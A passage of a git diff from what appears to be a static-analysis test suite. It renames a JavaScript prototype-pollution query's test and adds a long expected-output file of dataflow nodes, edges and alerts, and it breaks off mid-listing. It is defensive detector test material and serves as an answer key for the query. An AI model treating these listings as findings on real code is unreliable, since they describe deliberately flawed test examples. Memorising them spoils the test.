examples/PrototypePollutionUtility_fixed2.js:8:24:8:31 | src[key] | examples/PrototypePollutionUtility_fixed2.js:8:24:8:31 | src[key] | -| examples/PrototypePollutionUtility_fixed.js:1:21:1:23 | src | examples/PrototypePollutionUtility_fixed.js:5:29:5:31 | src | -| examples/PrototypePollutionUtility_fixed.js:1:21:1:23 | src | examples/PrototypePollutionUtility_fixed.js:5:29:5:31 | src | -| examples/PrototypePollutionUtility_fixed.js:1:21:1:23 | src | examples/PrototypePollutionUtility_fixed.js:7:24:7:26 | src | -| examples/PrototypePollutionUtility_fixed.js:1:21:1:23 | src | examples/PrototypePollutionUtility_fixed.js:7:24:7:26 | src | -| examples/PrototypePollutionUtility_fixed.js:2:14:2:16 | key | examples/PrototypePollutionUtility_fixed.js:7:17:7:19 | key | -| examples/PrototypePollutionUtility_fixed.js:2:14:2:16 | key | examples/PrototypePollutionUtility_fixed.js:7:17:7:19 | key | -| examples/PrototypePollutionUtility_fixed.js:2:14:2:16 | key | examples/PrototypePollutionUtility_fixed.js:7:17:7:19 | key | -| examples/PrototypePollutionUtility_fixed.js:2:14:2:16 | key | examples/PrototypePollutionUtility_fixed.js:7:17:7:19 | key | -| examples/PrototypePollutionUtility_fixed.js:2:14:2:16 | key | examples/PrototypePollutionUtility_fixed.js:7:17:7:19 | key | -| examples/PrototypePollutionUtility_fixed.js:2:14:2:16 | key | examples/PrototypePollutionUtility_fixed.js:7:17:7:19 | key | -| examples/PrototypePollutionUtility_fixed.js:2:14:2:16 | key | examples/PrototypePollutionUtility_fixed.js:7:17:7:19 | key | -| examples/PrototypePollutionUtility_fixed.js:2:14:2:16 | key | examples/PrototypePollutionUtility_fixed.js:7:28:7:30 | key | -| examples/PrototypePollutionUtility_fixed.js:2:14:2:16 | key | examples/PrototypePollutionUtility_fixed.js:7:28:7:30 | key | -| examples/PrototypePollutionUtility_fixed.js:2:14:2:16 | key | examples/PrototypePollutionUtility_fixed.js:7:28:7:30 | key | -| examples/PrototypePollutionUtility_fixed.js:2:14:2:16 | key | examples/PrototypePollutionUtility_fixed.js:7:28:7:30 | key | -| examples/PrototypePollutionUtility_fixed.js:5:29:5:31 | src | examples/PrototypePollutionUtility_fixed.js:5:29:5:36 | src[key] | -| examples/PrototypePollutionUtility_fixed.js:5:29:5:31 | src | examples/PrototypePollutionUtility_fixed.js:5:29:5:36 | src[key] | -| examples/PrototypePollutionUtility_fixed.js:5:29:5:36 | src[key] | examples/PrototypePollutionUtility_fixed.js:1:21:1:23 | src | -| examples/PrototypePollutionUtility_fixed.js:5:29:5:36 | src[key] | examples/PrototypePollutionUtility_fixed.js:1:21:1:23 | src | -| examples/PrototypePollutionUtility_fixed.js:5:29:5:36 | src[key] | examples/PrototypePollutionUtility_fixed.js:1:21:1:23 | src | -| examples/PrototypePollutionUtility_fixed.js:5:29:5:36 | src[key] | examples/PrototypePollutionUtility_fixed.js:1:21:1:23 | src | -| examples/PrototypePollutionUtility_fixed.js:5:29:5:36 | src[key] | examples/PrototypePollutionUtility_fixed.js:1:21:1:23 | src | -| examples/PrototypePollutionUtility_fixed.js:5:29:5:36 | src[key] | examples/PrototypePollutionUtility_fixed.js:1:21:1:23 | src | -| examples/PrototypePollutionUtility_fixed.js:7:24:7:26 | src | examples/PrototypePollutionUtility_fixed.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility_fixed.js:7:24:7:26 | src | examples/PrototypePollutionUtility_fixed.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility_fixed.js:7:24:7:26 | src | examples/PrototypePollutionUtility_fixed.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility_fixed.js:7:24:7:26 | src | examples/PrototypePollutionUtility_fixed.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility_fixed.js:7:24:7:31 | src[key] | examples/PrototypePollutionUtility_fixed.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility_fixed.js:7:28:7:30 | key | examples/PrototypePollutionUtility_fixed.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility_fixed.js:7:28:7:30 | key | examples/PrototypePollutionUtility_fixed.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility_fixed.js:7:28:7:30 | key | examples/PrototypePollutionUtility_fixed.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility_fixed.js:7:28:7:30 | key | examples/PrototypePollutionUtility_fixed.js:7:24:7:31 | src[key] | -#select -| PrototypePollutionUtility/path-assignment.js:15:13:15:18 | target | PrototypePollutionUtility/path-assignment.js:8:19:8:25 | keys[i] | PrototypePollutionUtility/path-assignment.js:15:13:15:18 | target | The property chain $@ is recursively assigned to $@ without guarding against prototype pollution. | PrototypePollutionUtility/path-assignment.js:8:19:8:25 | keys[i] | here | PrototypePollutionUtility/path-assignment.js:15:13:15:18 | target | target | -| PrototypePollutionUtility/path-assignment.js:44:5:44:10 | target | PrototypePollutionUtility/path-assignment.js:41:19:41:25 | keys[i] | PrototypePollutionUtility/path-assignment.js:44:5:44:10 | target | The property chain $@ is recursively assigned to $@ without guarding against prototype pollution. | PrototypePollutionUtility/path-assignment.js:41:19:41:25 | keys[i] | here | PrototypePollutionUtility/path-assignment.js:44:5:44:10 | target | target | -| PrototypePollutionUtility/path-assignment.js:61:5:61:10 | target | PrototypePollutionUtility/path-assignment.js:58:19:58:25 | keys[i] | PrototypePollutionUtility/path-assignment.js:61:5:61:10 | target | The property chain $@ is recursively assigned to $@ without guarding against prototype pollution. | PrototypePollutionUtility/path-assignment.js:58:19:58:25 | keys[i] | here | PrototypePollutionUtility/path-assignment.js:61:5:61:10 | target | target | -| PrototypePollutionUtility/path-assignment.js:71:5:71:10 | target | PrototypePollutionUtility/path-assignment.js:68:19:68:25 | keys[i] | PrototypePollutionUtility/path-assignment.js:71:5:71:10 | target | The property chain $@ is recursively assigned to $@ without guarding against prototype pollution. | PrototypePollutionUtility/path-assignment.js:68:19:68:25 | keys[i] | here | PrototypePollutionUtility/path-assignment.js:71:5:71:10 | target | target | -| PrototypePollutionUtility/tests.js:8:13:8:15 | dst | PrototypePollutionUtility/tests.js:4:14:4:16 | key | PrototypePollutionUtility/tests.js:8:13:8:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | PrototypePollutionUtility/tests.js:4:21:4:23 | src | src | PrototypePollutionUtility/tests.js:8:13:8:15 | dst | dst | -| PrototypePollutionUtility/tests.js:18:13:18:15 | dst | PrototypePollutionUtility/tests.js:14:30:14:32 | key | PrototypePollutionUtility/tests.js:18:13:18:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | PrototypePollutionUtility/tests.js:14:17:14:19 | src | src | PrototypePollutionUtility/tests.js:18:13:18:15 | dst | dst | -| PrototypePollutionUtility/tests.js:36:9:36:11 | dst | PrototypePollutionUtility/tests.js:25:18:25:20 | key | PrototypePollutionUtility/tests.js:36:9:36:11 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | PrototypePollutionUtility/tests.js:25:25:25:30 | source | source | PrototypePollutionUtility/tests.js:36:9:36:11 | dst | dst | -| PrototypePollutionUtility/tests.js:46:13:46:15 | dst | PrototypePollutionUtility/tests.js:41:14:41:16 | key | PrototypePollutionUtility/tests.js:46:13:46:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | PrototypePollutionUtility/tests.js:41:21:41:23 | src | src | PrototypePollutionUtility/tests.js:46:13:46:15 | dst | dst | -| PrototypePollutionUtility/tests.js:57:13:57:15 | dst | PrototypePollutionUtility/tests.js:52:14:52:16 | key | PrototypePollutionUtility/tests.js:57:13:57:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | PrototypePollutionUtility/tests.js:52:21:52:23 | src | src | PrototypePollutionUtility/tests.js:57:13:57:15 | dst | dst | -| PrototypePollutionUtility/tests.js:109:13:109:15 | dst | PrototypePollutionUtility/tests.js:102:14:102:16 | key | PrototypePollutionUtility/tests.js:109:13:109:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | PrototypePollutionUtility/tests.js:102:21:102:23 | src | src | PrototypePollutionUtility/tests.js:109:13:109:15 | dst | dst | -| PrototypePollutionUtility/tests.js:154:13:154:15 | dst | PrototypePollutionUtility/tests.js:150:14:150:16 | key | PrototypePollutionUtility/tests.js:154:13:154:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | PrototypePollutionUtility/tests.js:150:21:150:23 | src | src | PrototypePollutionUtility/tests.js:154:13:154:15 | dst | dst | -| PrototypePollutionUtility/tests.js:196:13:196:15 | dst | PrototypePollutionUtility/tests.js:192:19:192:25 | keys[i] | PrototypePollutionUtility/tests.js:196:13:196:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | PrototypePollutionUtility/tests.js:190:28:190:30 | src | src | PrototypePollutionUtility/tests.js:196:13:196:15 | dst | dst | -| PrototypePollutionUtility/tests.js:233:5:233:13 | map[key1] | PrototypePollutionUtility/tests.js:238:14:238:16 | key | PrototypePollutionUtility/tests.js:233:5:233:13 | map[key1] | Properties are copied from $@ to $@ without guarding against prototype pollution. | PrototypePollutionUtility/tests.js:238:21:238:24 | data | data | PrototypePollutionUtility/tests.js:233:5:233:13 | map[key1] | here | -| PrototypePollutionUtility/tests.js:270:13:270:15 | dst | PrototypePollutionUtility/tests.js:265:19:265:26 | entry[0] | PrototypePollutionUtility/tests.js:270:13:270:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | PrototypePollutionUtility/tests.js:264:20:264:22 | src | src | PrototypePollutionUtility/tests.js:270:13:270:15 | dst | dst | -| PrototypePollutionUtility/tests.js:280:13:280:15 | dst | PrototypePollutionUtility/tests.js:276:34:276:36 | key | PrototypePollutionUtility/tests.js:280:13:280:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | PrototypePollutionUtility/tests.js:276:21:276:23 | src | src | PrototypePollutionUtility/tests.js:280:13:280:15 | dst | dst | -| PrototypePollutionUtility/tests.js:308:17:308:19 | dst | PrototypePollutionUtility/tests.js:302:14:302:16 | key | PrototypePollutionUtility/tests.js:308:17:308:19 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | PrototypePollutionUtility/tests.js:302:21:302:23 | src | src | PrototypePollutionUtility/tests.js:308:17:308:19 | dst | dst | -| PrototypePollutionUtility/tests.js:322:17:322:19 | dst | PrototypePollutionUtility/tests.js:315:14:315:16 | key | PrototypePollutionUtility/tests.js:322:17:322:19 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | PrototypePollutionUtility/tests.js:315:21:315:23 | src | src | PrototypePollutionUtility/tests.js:322:17:322:19 | dst | dst | -| PrototypePollutionUtility/tests.js:357:17:357:22 | target | PrototypePollutionUtility/tests.js:350:37:350:39 | key | PrototypePollutionUtility/tests.js:357:17:357:22 | target | Properties are copied from $@ to $@ without guarding against prototype pollution. | PrototypePollutionUtility/tests.js:350:21:350:26 | source | source | PrototypePollutionUtility/tests.js:357:17:357:22 | target | target | -| PrototypePollutionUtility/tests.js:403:13:403:15 | dst | PrototypePollutionUtility/tests.js:381:14:381:16 | key | PrototypePollutionUtility/tests.js:403:13:403:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | PrototypePollutionUtility/tests.js:381:21:381:23 | obj | obj | PrototypePollutionUtility/tests.js:403:13:403:15 | dst | dst | -| PrototypePollutionUtility/tests.js:419:13:419:15 | dst | PrototypePollutionUtility/tests.js:413:14:413:16 | key | PrototypePollutionUtility/tests.js:419:13:419:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | PrototypePollutionUtility/tests.js:413:21:413:23 | src | src | PrototypePollutionUtility/tests.js:419:13:419:15 | dst | dst | -| PrototypePollutionUtility/tests.js:436:13:436:15 | dst | PrototypePollutionUtility/tests.js:430:14:430:16 | key | PrototypePollutionUtility/tests.js:436:13:436:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | PrototypePollutionUtility/tests.js:430:21:430:23 | src | src | PrototypePollutionUtility/tests.js:436:13:436:15 | dst | dst | -| PrototypePollutionUtility/tests.js:465:30:465:32 | dst | PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:465:30:465:32 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | PrototypePollutionUtility/tests.js:460:12:460:14 | src | src | PrototypePollutionUtility/tests.js:465:30:465:32 | dst | dst | -| PrototypePollutionUtility/tests.js:466:30:466:32 | dst | PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:466:30:466:32 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | PrototypePollutionUtility/tests.js:460:12:460:14 | src | src | PrototypePollutionUtility/tests.js:466:30:466:32 | dst | dst | -| PrototypePollutionUtility/tests.js:467:30:467:32 | dst | PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:467:30:467:32 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | PrototypePollutionUtility/tests.js:460:12:460:14 | src | src | PrototypePollutionUtility/tests.js:467:30:467:32 | dst | dst | -| PrototypePollutionUtility/tests.js:477:13:477:15 | dst | PrototypePollutionUtility/tests.js:473:25:473:27 | key | PrototypePollutionUtility/tests.js:477:13:477:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | PrototypePollutionUtility/tests.js:473:12:473:14 | src | src | PrototypePollutionUtility/tests.js:477:13:477:15 | dst | dst | -| PrototypePollutionUtility/tests.js:489:13:489:15 | dst | PrototypePollutionUtility/tests.js:484:14:484:16 | key | PrototypePollutionUtility/tests.js:489:13:489:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | PrototypePollutionUtility/tests.js:484:21:484:23 | src | src | PrototypePollutionUtility/tests.js:489:13:489:15 | dst | dst | -| examples/PrototypePollutionUtility.js:7:13:7:15 | dst | examples/PrototypePollutionUtility.js:2:14:2:16 | key | examples/PrototypePollutionUtility.js:7:13:7:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | examples/PrototypePollutionUtility.js:2:21:2:23 | src | src | examples/PrototypePollutionUtility.js:7:13:7:15 | dst | dst | diff --git a/javascript/ql/test/query-tests/Security/CWE-400/PrototypePollutionUtility.qlref b/javascript/ql/test/query-tests/Security/CWE-400/PrototypePollutionUtility.qlref deleted file mode 100644 index d8265b5566a..00000000000 --- a/javascript/ql/test/query-tests/Security/CWE-400/PrototypePollutionUtility.qlref +++ /dev/null @@ -1 +0,0 @@ -Security/CWE-400/PrototypePollutionUtility.ql \ No newline at end of file diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/PrototypePollutingFunction.expected b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/PrototypePollutingFunction.expected new file mode 100644 index 00000000000..a13ff04c524 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/PrototypePollutingFunction.expected @@ -0,0 +1,3012 @@ +nodes +| examples/PrototypePollutingFunction.js:1:16:1:18 | dst | +| examples/PrototypePollutingFunction.js:1:16:1:18 | dst | +| examples/PrototypePollutingFunction.js:1:21:1:23 | src | +| examples/PrototypePollutingFunction.js:1:21:1:23 | src | +| examples/PrototypePollutingFunction.js:2:14:2:16 | key | +| examples/PrototypePollutingFunction.js:2:14:2:16 | key | +| examples/PrototypePollutingFunction.js:2:14:2:16 | key | +| examples/PrototypePollutingFunction.js:5:19:5:21 | dst | +| examples/PrototypePollutingFunction.js:5:19:5:21 | dst | +| examples/PrototypePollutingFunction.js:5:19:5:26 | dst[key] | +| examples/PrototypePollutingFunction.js:5:19:5:26 | dst[key] | +| examples/PrototypePollutingFunction.js:5:19:5:26 | dst[key] | +| examples/PrototypePollutingFunction.js:5:19:5:26 | dst[key] | +| examples/PrototypePollutingFunction.js:5:23:5:25 | key | +| examples/PrototypePollutingFunction.js:5:23:5:25 | key | +| examples/PrototypePollutingFunction.js:5:29:5:31 | src | +| examples/PrototypePollutingFunction.js:5:29:5:31 | src | +| examples/PrototypePollutingFunction.js:5:29:5:36 | src[key] | +| examples/PrototypePollutingFunction.js:5:29:5:36 | src[key] | +| examples/PrototypePollutingFunction.js:5:29:5:36 | src[key] | +| examples/PrototypePollutingFunction.js:5:29:5:36 | src[key] | +| examples/PrototypePollutingFunction.js:5:29:5:36 | src[key] | +| examples/PrototypePollutingFunction.js:5:33:5:35 | key | +| examples/PrototypePollutingFunction.js:5:33:5:35 | key | +| examples/PrototypePollutingFunction.js:7:13:7:15 | dst | +| examples/PrototypePollutingFunction.js:7:13:7:15 | dst | +| examples/PrototypePollutingFunction.js:7:13:7:15 | dst | +| examples/PrototypePollutingFunction.js:7:17:7:19 | key | +| examples/PrototypePollutingFunction.js:7:17:7:19 | key | +| examples/PrototypePollutingFunction.js:7:17:7:19 | key | +| examples/PrototypePollutingFunction.js:7:24:7:26 | src | +| examples/PrototypePollutingFunction.js:7:24:7:26 | src | +| examples/PrototypePollutingFunction.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction.js:7:28:7:30 | key | +| examples/PrototypePollutingFunction.js:7:28:7:30 | key | +| examples/PrototypePollutingFunction_fixed2.js:1:21:1:23 | src | +| examples/PrototypePollutingFunction_fixed2.js:1:21:1:23 | src | +| examples/PrototypePollutingFunction_fixed2.js:6:29:6:31 | src | +| examples/PrototypePollutingFunction_fixed2.js:6:29:6:31 | src | +| examples/PrototypePollutingFunction_fixed2.js:6:29:6:36 | src[key] | +| examples/PrototypePollutingFunction_fixed2.js:6:29:6:36 | src[key] | +| examples/PrototypePollutingFunction_fixed2.js:6:29:6:36 | src[key] | +| examples/PrototypePollutingFunction_fixed2.js:6:29:6:36 | src[key] | +| examples/PrototypePollutingFunction_fixed2.js:6:29:6:36 | src[key] | +| examples/PrototypePollutingFunction_fixed2.js:8:24:8:26 | src | +| examples/PrototypePollutingFunction_fixed2.js:8:24:8:26 | src | +| examples/PrototypePollutingFunction_fixed2.js:8:24:8:31 | src[key] | +| examples/PrototypePollutingFunction_fixed2.js:8:24:8:31 | src[key] | +| examples/PrototypePollutingFunction_fixed2.js:8:24:8:31 | src[key] | +| examples/PrototypePollutingFunction_fixed2.js:8:24:8:31 | src[key] | +| examples/PrototypePollutingFunction_fixed2.js:8:24:8:31 | src[key] | +| examples/PrototypePollutingFunction_fixed2.js:8:24:8:31 | src[key] | +| examples/PrototypePollutingFunction_fixed.js:1:21:1:23 | src | +| examples/PrototypePollutingFunction_fixed.js:1:21:1:23 | src | +| examples/PrototypePollutingFunction_fixed.js:2:14:2:16 | key | +| examples/PrototypePollutingFunction_fixed.js:2:14:2:16 | key | +| examples/PrototypePollutingFunction_fixed.js:2:14:2:16 | key | +| examples/PrototypePollutingFunction_fixed.js:5:29:5:31 | src | +| examples/PrototypePollutingFunction_fixed.js:5:29:5:31 | src | +| examples/PrototypePollutingFunction_fixed.js:5:29:5:36 | src[key] | +| examples/PrototypePollutingFunction_fixed.js:5:29:5:36 | src[key] | +| examples/PrototypePollutingFunction_fixed.js:5:29:5:36 | src[key] | +| examples/PrototypePollutingFunction_fixed.js:5:29:5:36 | src[key] | +| examples/PrototypePollutingFunction_fixed.js:5:29:5:36 | src[key] | +| examples/PrototypePollutingFunction_fixed.js:7:17:7:19 | key | +| examples/PrototypePollutingFunction_fixed.js:7:17:7:19 | key | +| examples/PrototypePollutingFunction_fixed.js:7:17:7:19 | key | +| examples/PrototypePollutingFunction_fixed.js:7:24:7:26 | src | +| examples/PrototypePollutingFunction_fixed.js:7:24:7:26 | src | +| examples/PrototypePollutingFunction_fixed.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction_fixed.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction_fixed.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction_fixed.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction_fixed.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction_fixed.js:7:24:7:31 | src[key] | +| examples/PrototypePollutingFunction_fixed.js:7:28:7:30 | key | +| examples/PrototypePollutingFunction_fixed.js:7:28:7:30 | key | +| path-assignment.js:8:13:8:25 | key | +| path-assignment.js:8:13:8:25 | key | +| path-assignment.js:8:19:8:25 | keys[i] | +| path-assignment.js:8:19:8:25 | keys[i] | +| path-assignment.js:8:19:8:25 | keys[i] | +| path-assignment.js:13:13:13:32 | target | +| path-assignment.js:13:13:13:32 | target | +| path-assignment.js:13:22:13:27 | target | +| path-assignment.js:13:22:13:27 | target | +| path-assignment.js:13:22:13:32 | target[key] | +| path-assignment.js:13:22:13:32 | target[key] | +| path-assignment.js:13:29:13:31 | key | +| path-assignment.js:13:29:13:31 | key | +| path-assignment.js:15:13:15:18 | target | +| path-assignment.js:15:13:15:18 | target | +| path-assignment.js:15:13:15:18 | target | +| path-assignment.js:15:20:15:22 | key | +| path-assignment.js:15:20:15:22 | key | +| path-assignment.js:15:20:15:22 | key | +| path-assignment.js:41:13:41:25 | key | +| path-assignment.js:41:13:41:25 | key | +| path-assignment.js:41:19:41:25 | keys[i] | +| path-assignment.js:41:19:41:25 | keys[i] | +| path-assignment.js:41:19:41:25 | keys[i] | +| path-assignment.js:42:9:42:48 | target | +| path-assignment.js:42:9:42:48 | target | +| path-assignment.js:42:18:42:23 | target | +| path-assignment.js:42:18:42:23 | target | +| path-assignment.js:42:18:42:23 | target | +| path-assignment.js:42:18:42:48 | target[ ... ] \|\| {} | +| path-assignment.js:42:18:42:48 | target[ ... ] \|\| {} | +| path-assignment.js:42:25:42:27 | key | +| path-assignment.js:42:25:42:27 | key | +| path-assignment.js:42:25:42:27 | key | +| path-assignment.js:42:32:42:37 | target | +| path-assignment.js:42:32:42:37 | target | +| path-assignment.js:42:32:42:42 | target[key] | +| path-assignment.js:42:32:42:42 | target[key] | +| path-assignment.js:42:32:42:48 | target[key] \|\| {} | +| path-assignment.js:42:32:42:48 | target[key] \|\| {} | +| path-assignment.js:42:32:42:48 | target[key] \|\| {} | +| path-assignment.js:42:39:42:41 | key | +| path-assignment.js:42:39:42:41 | key | +| path-assignment.js:44:5:44:10 | target | +| path-assignment.js:44:5:44:10 | target | +| path-assignment.js:44:5:44:10 | target | +| path-assignment.js:44:12:44:18 | keys[i] | +| path-assignment.js:44:12:44:18 | keys[i] | +| path-assignment.js:44:12:44:18 | keys[i] | +| path-assignment.js:44:12:44:18 | keys[i] | +| path-assignment.js:58:13:58:25 | key | +| path-assignment.js:58:13:58:25 | key | +| path-assignment.js:58:19:58:25 | keys[i] | +| path-assignment.js:58:19:58:25 | keys[i] | +| path-assignment.js:58:19:58:25 | keys[i] | +| path-assignment.js:59:9:59:48 | target | +| path-assignment.js:59:9:59:48 | target | +| path-assignment.js:59:18:59:23 | target | +| path-assignment.js:59:18:59:23 | target | +| path-assignment.js:59:18:59:23 | target | +| path-assignment.js:59:18:59:48 | target[ ... ] \|\| {} | +| path-assignment.js:59:18:59:48 | target[ ... ] \|\| {} | +| path-assignment.js:59:25:59:27 | key | +| path-assignment.js:59:25:59:27 | key | +| path-assignment.js:59:25:59:27 | key | +| path-assignment.js:59:32:59:37 | target | +| path-assignment.js:59:32:59:37 | target | +| path-assignment.js:59:32:59:42 | target[key] | +| path-assignment.js:59:32:59:42 | target[key] | +| path-assignment.js:59:32:59:48 | target[key] \|\| {} | +| path-assignment.js:59:32:59:48 | target[key] \|\| {} | +| path-assignment.js:59:32:59:48 | target[key] \|\| {} | +| path-assignment.js:59:39:59:41 | key | +| path-assignment.js:59:39:59:41 | key | +| path-assignment.js:61:5:61:10 | target | +| path-assignment.js:61:5:61:10 | target | +| path-assignment.js:61:5:61:10 | target | +| path-assignment.js:61:12:61:18 | keys[i] | +| path-assignment.js:61:12:61:18 | keys[i] | +| path-assignment.js:61:12:61:18 | keys[i] | +| path-assignment.js:61:12:61:18 | keys[i] | +| path-assignment.js:68:13:68:25 | key | +| path-assignment.js:68:13:68:25 | key | +| path-assignment.js:68:19:68:25 | keys[i] | +| path-assignment.js:68:19:68:25 | keys[i] | +| path-assignment.js:68:19:68:25 | keys[i] | +| path-assignment.js:69:9:69:48 | target | +| path-assignment.js:69:9:69:48 | target | +| path-assignment.js:69:18:69:23 | target | +| path-assignment.js:69:18:69:23 | target | +| path-assignment.js:69:18:69:23 | target | +| path-assignment.js:69:18:69:48 | target[ ... ] \|\| {} | +| path-assignment.js:69:18:69:48 | target[ ... ] \|\| {} | +| path-assignment.js:69:25:69:27 | key | +| path-assignment.js:69:25:69:27 | key | +| path-assignment.js:69:25:69:27 | key | +| path-assignment.js:69:32:69:37 | target | +| path-assignment.js:69:32:69:37 | target | +| path-assignment.js:69:32:69:42 | target[key] | +| path-assignment.js:69:32:69:42 | target[key] | +| path-assignment.js:69:32:69:48 | target[key] \|\| {} | +| path-assignment.js:69:32:69:48 | target[key] \|\| {} | +| path-assignment.js:69:32:69:48 | target[key] \|\| {} | +| path-assignment.js:69:39:69:41 | key | +| path-assignment.js:69:39:69:41 | key | +| path-assignment.js:71:5:71:10 | target | +| path-assignment.js:71:5:71:10 | target | +| path-assignment.js:71:5:71:10 | target | +| path-assignment.js:71:12:71:18 | keys[i] | +| path-assignment.js:71:12:71:18 | keys[i] | +| path-assignment.js:71:12:71:18 | keys[i] | +| path-assignment.js:71:12:71:18 | keys[i] | +| tests.js:3:25:3:27 | dst | +| tests.js:3:25:3:27 | dst | +| tests.js:3:30:3:32 | src | +| tests.js:3:30:3:32 | src | +| tests.js:4:14:4:16 | key | +| tests.js:4:14:4:16 | key | +| tests.js:4:14:4:16 | key | +| tests.js:6:28:6:30 | dst | +| tests.js:6:28:6:30 | dst | +| tests.js:6:28:6:35 | dst[key] | +| tests.js:6:28:6:35 | dst[key] | +| tests.js:6:28:6:35 | dst[key] | +| tests.js:6:28:6:35 | dst[key] | +| tests.js:6:32:6:34 | key | +| tests.js:6:32:6:34 | key | +| tests.js:6:38:6:40 | src | +| tests.js:6:38:6:40 | src | +| tests.js:6:38:6:45 | src[key] | +| tests.js:6:38:6:45 | src[key] | +| tests.js:6:38:6:45 | src[key] | +| tests.js:6:38:6:45 | src[key] | +| tests.js:6:38:6:45 | src[key] | +| tests.js:6:42:6:44 | key | +| tests.js:6:42:6:44 | key | +| tests.js:8:13:8:15 | dst | +| tests.js:8:13:8:15 | dst | +| tests.js:8:13:8:15 | dst | +| tests.js:8:17:8:19 | key | +| tests.js:8:17:8:19 | key | +| tests.js:8:17:8:19 | key | +| tests.js:8:24:8:26 | src | +| tests.js:8:24:8:26 | src | +| tests.js:8:24:8:31 | src[key] | +| tests.js:8:24:8:31 | src[key] | +| tests.js:8:24:8:31 | src[key] | +| tests.js:8:24:8:31 | src[key] | +| tests.js:8:24:8:31 | src[key] | +| tests.js:8:24:8:31 | src[key] | +| tests.js:8:28:8:30 | key | +| tests.js:8:28:8:30 | key | +| tests.js:13:24:13:26 | dst | +| tests.js:13:24:13:26 | dst | +| tests.js:13:29:13:31 | src | +| tests.js:13:29:13:31 | src | +| tests.js:14:30:14:32 | key | +| tests.js:14:30:14:32 | key | +| tests.js:14:30:14:32 | key | +| tests.js:16:27:16:29 | dst | +| tests.js:16:27:16:29 | dst | +| tests.js:16:27:16:34 | dst[key] | +| tests.js:16:27:16:34 | dst[key] | +| tests.js:16:27:16:34 | dst[key] | +| tests.js:16:27:16:34 | dst[key] | +| tests.js:16:31:16:33 | key | +| tests.js:16:31:16:33 | key | +| tests.js:16:37:16:39 | src | +| tests.js:16:37:16:39 | src | +| tests.js:16:37:16:44 | src[key] | +| tests.js:16:37:16:44 | src[key] | +| tests.js:16:37:16:44 | src[key] | +| tests.js:16:37:16:44 | src[key] | +| tests.js:16:37:16:44 | src[key] | +| tests.js:16:41:16:43 | key | +| tests.js:16:41:16:43 | key | +| tests.js:18:13:18:15 | dst | +| tests.js:18:13:18:15 | dst | +| tests.js:18:13:18:15 | dst | +| tests.js:18:17:18:19 | key | +| tests.js:18:17:18:19 | key | +| tests.js:18:17:18:19 | key | +| tests.js:18:24:18:26 | src | +| tests.js:18:24:18:26 | src | +| tests.js:18:24:18:31 | src[key] | +| tests.js:18:24:18:31 | src[key] | +| tests.js:18:24:18:31 | src[key] | +| tests.js:18:24:18:31 | src[key] | +| tests.js:18:24:18:31 | src[key] | +| tests.js:18:24:18:31 | src[key] | +| tests.js:18:28:18:30 | key | +| tests.js:18:28:18:30 | key | +| tests.js:23:19:23:21 | dst | +| tests.js:23:19:23:21 | dst | +| tests.js:25:18:25:20 | key | +| tests.js:25:18:25:20 | key | +| tests.js:25:18:25:20 | key | +| tests.js:26:25:26:27 | dst | +| tests.js:26:25:26:27 | dst | +| tests.js:26:30:26:40 | source[key] | +| tests.js:26:30:26:40 | source[key] | +| tests.js:26:30:26:40 | source[key] | +| tests.js:26:37:26:39 | key | +| tests.js:26:37:26:39 | key | +| tests.js:26:43:26:45 | key | +| tests.js:26:43:26:45 | key | +| tests.js:31:22:31:24 | dst | +| tests.js:31:22:31:24 | dst | +| tests.js:31:27:31:31 | value | +| tests.js:31:27:31:31 | value | +| tests.js:31:34:31:36 | key | +| tests.js:31:34:31:36 | key | +| tests.js:32:9:32:27 | dstValue | +| tests.js:32:9:32:27 | dstValue | +| tests.js:32:20:32:22 | dst | +| tests.js:32:20:32:22 | dst | +| tests.js:32:20:32:27 | dst[key] | +| tests.js:32:20:32:27 | dst[key] | +| tests.js:32:24:32:26 